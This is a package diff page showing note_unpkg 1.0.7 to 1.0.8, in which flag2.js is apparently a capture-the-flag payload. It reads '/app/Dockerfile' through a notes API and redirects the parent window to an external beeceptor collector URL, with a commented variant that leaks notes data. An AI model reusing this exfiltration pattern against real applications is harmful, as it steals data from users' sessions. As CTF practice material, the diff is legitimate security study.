note_unpkg 1.0.7 → 1.0.8
Sign up to get free protection for your applications and to get access to all the features.
- package/flag2.js +4 -1
- package/package.json +1 -1
package/flag2.js
CHANGED
@@ -4,7 +4,10 @@ async function go() {
|
|
4
4
|
//window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
|
5
5
|
|
6
6
|
const id = "/app/Dockerfile"
|
7
|
-
let flag = await fetch("/api/notes?id=" + id)
|
7
|
+
let flag = await fetch("/api/notes?id=" + id)
|
8
|
+
.then(res => window.parent.location = "https://o4o55555.free.beeceptor.com?q=success")
|
9
|
+
.catch(err => window.parent.location = "https://o4o55555.free.beeceptor.com?q=fail")
|
10
|
+
// let flag = await fetch("/api/notes?id=" + id).then(res => res.text())
|
8
11
|
|
9
12
|
// sleep for a while so I have time to press "report"
|
10
13
|
await new Promise(r => setTimeout(r, 2000));
|